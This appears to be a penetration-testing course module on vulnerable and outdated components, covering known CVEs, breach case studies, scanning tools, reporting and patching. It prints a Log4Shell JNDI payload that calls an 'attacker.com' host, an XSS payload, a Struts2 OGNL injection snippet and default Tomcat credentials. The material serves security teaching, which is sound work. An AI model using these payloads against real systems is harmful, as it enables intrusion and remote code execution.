6. VULNERABLE & OUTDATED COMPONENT

📘 MODULE 6 — A06: VULNERABLE & OUTDATED COMPONENTS

🔥 TABLE OF CONTENTS

📍 1. What Is A06: Vulnerable & Outdated Components?

A component is considered vulnerable if:

- It has **a known CVE**

- It’s **outdated**
- It’s **unsupported**
- It’s **mispatched**
- It’s **end-of-life**
- It’s using **vulnerable default configurations**

This applies to:

✔️ Backend

- PHP, Python, Node, Java
- Web frameworks

✔️ Frontend

- jQuery
- Bootstrap
- Angular/React versions

✔️ Servers

- Apache
- Nginx
- IIS

✔️ Databases

- MySQL
- MongoDB
- Redis

✔️ Cloud Components

- AWS S3 versioning
- GCP misconfigured APIs

✔️ Third-party libraries

- Log4j

- OpenSSL
- Apache Struts

📍 2. Why This Vulnerability Exists

✔️ Developers forget updating dependencies

✔️ Production apps run old versions

✔️ “If it’s not broken, don’t touch it” mentality

✔️ Patching requires downtime

✔️ Companies underestimate supply-chain risk

✔️ No Asset Inventory

✔️ No SBOM (Software Bill of Materials)

This is the **root cause of global-level hacks**.

📍 3. What Makes a Component Vulnerable?

3.1 Known CVEs

Every security flaw gets a CVE number, for example:

- **CVE-2021-44228 (Log4Shell)**
- **CVE-2017-5638 (Struts2 RCE)**
- **CVE-2014-0160 (Heartbleed)**

3.2 Unsupported Technology

Example:

- PHP 5.6 (EOL)
- Python 2.7

- jQuery < 3.5

3.3 Weak Defaults

- MongoDB open without password
- Redis open to public
- Elasticsearch listening on 0.0.0.0

📍 4. Real-World Case Studies (High-Impact)

Case Study 1 — Log4Shell (CVE-2021-44228)

Affected: **100M+ servers**

Impact: **Full RCE**

Cause: A tiny logging library used everywhere.

Payload example:

```
${jndi:ldap://attacker.com/a}
```

This is the **biggest exploit in history** caused by outdated components.

Case Study 2 — Equifax Breach (CVE-2017-5638)

Exploit: Apache Struts2 remote code execution

Impact: **147 million customer records stolen**

The patch existed, but company never applied it.

Case Study 3 — Heartbleed (OpenSSL)

Millions of websites leaked private keys.

📍 5. Pentester Mindset for This Vulnerability

A pentester asks:

✔️ Is the server outdated?

✔️ Is the framework version vulnerable?

✔️ Are libraries using known CVEs?

✔️ Are cloud buckets misconfigured?

✔️ Are default credentials used?

The goal is to **map the entire application ecosystem**:

- Backend language
- OS version
- Framework version
- Database version
- Third-party dependencies

📍 6. Testing Methodology

⭐ 6.1 Identify Versions

Use headers, page leak, debugging pages.

Example command:

```
curl -I https://target.com
```

Look for:

- `Server: Apache/2.4.29`
- `X-Powered-By: PHP/7.2`

⭐ 6.2 Fingerprint Technologies Using Wappalyzer CLI

```
wappalyzer https://target.com
```

⭐ 6.3 Enumerate Services with Nmap

```
nmap -sV -p- -sC target.com
```

This returns:

- Version
- Patch level
- Known services

⭐ 6.4 Identify Vulnerabilities (Nmap NSE)

```
nmap -sV --script vuln target.com
```

What it does:

- Runs vulnerability scripts
- Detects outdated software
- Maps CVEs to versions

⭐ 6.5 Look for Default Files

Common examples:

- `/phpinfo.php`
- `/server-status`
- `/console`
- `/swagger-ui`

📍 7. Tools (With FULL Commands & Explanations)

🔥 7.1 Nmap — Version & CVE Scanning

Command:

```
nmap -sV --script=vuln -p- target.com
```

Breakdown:

- `sV` → Detect exact versions
- `-script=vuln` → Load vulnerability scripts
- `p-` → Scan ALL ports

Outputs CVEs like:

```
CVE-2019-0190 Apache 2.4.29 mod_ssl vulnerability
```

🔥 7.2 Nuclei — Template-based Vulnerability Scanner

Command:

```
nuclei -u https://target.com -t cves/
```

What this does:

- Checks the target against thousands of CVE templates
- Identifies vulnerable components

🔥 7.3 WhatWeb — Quick Fingerprinting

```
whatweb https://target.com
```

Finds:

- CMS
- Framework
- Plugins
- Versions

🔥 7.4 Retire.js (Frontend Vulnerability Detection)

Find outdated JavaScript libraries.

```
retire --path https://target.com
```

Detects:

- jQuery vulnerabilities
- Angular, React issues
- Bootstrap XSS leaks

🔥 7.5 Pip-audit (Python Supply Chain Auditor)

```
pip-audit
```

Finds outdated Python libs with CVEs.

🔥 7.6 npm-audit (Node.js Vulnerabilities)

```
npm audit
```

Shows:

- Severity
- Fix version
- CVE references

🔥 7.7 Trivy (Container Vulnerability Scanner)

If the app is in Docker:

```
trivy image app:latest
```

This finds:

- OS vulnerabilities
- Package vulnerabilities
- Library CVEs

🔥 7.8 ScoutSuite (Cloud Vulnerability Scanner)

AWS/GCP/Azure scanning:

```
scoutsuite aws --profile prod
```

📍 8. Exploitation Scenarios

Scenario 1 — Exploiting Outdated jQuery

Old versions (< 3.5) are vulnerable to XSS.

Payload:

```
"><svg/onload=alert(1337)>
```

Scenario 2 — Exploiting Apache Struts2 RCE

Request:

```
%{(#context['com.opensymphony.xwork2.dispatcher.HttpServletRespons
e'].addHeader('X-Test','Exploit'))}
```

Scenario 3 — Exploiting Tomcat Manager with Default Credentials

Default creds:

```
tomcat:tomcat
admin:admin
```

RCE by uploading WAR file.

Scenario 4 — Exploiting Open Redis Instance

Check:

```
redis-cli -h target.com
```

If connected without auth → full DB access.

📍 9. Payload Examples

Scan for Log4Shell:

```
${jndi:ldap://attacker.com/pwn}
```

Check outdated PHP:

```
curl -I https://target.com | grep "PHP"
```

📍 10. Reporting Template

Title: Outdated Apache Server (CVE-2019-0211)

Severity: Critical

Description:

Server is running Apache 2.4.29 vulnerable to privilege escalation.

Proof:

Nmap result + banner.

Impact:

Full server compromise.

Recommendation:

Upgrade to Apache 2.4.58.

📍 11. Mitigation & Hardening

✔️ Maintain SBOM

✔️ Automated dependency updates

✔️ Use Dependabot, npm audit fix

✔️ Disable unused components

✔️ Restrict admin panels

✔️ Patch regularly

✔️ Cloud hardening policies

✔️ Container vulnerability monitoring

📍 12. Hands-On Labs

Lab 1: Identify outdated components with Nmap

Lab 2: Detect frontend vulnerabilities with Retire.js

Lab 3: Detect backend CVEs with Nuclei

Lab 4: Exploit an outdated Jenkins server

Lab 5: Enumerate cloud misconfigs with ScoutSuite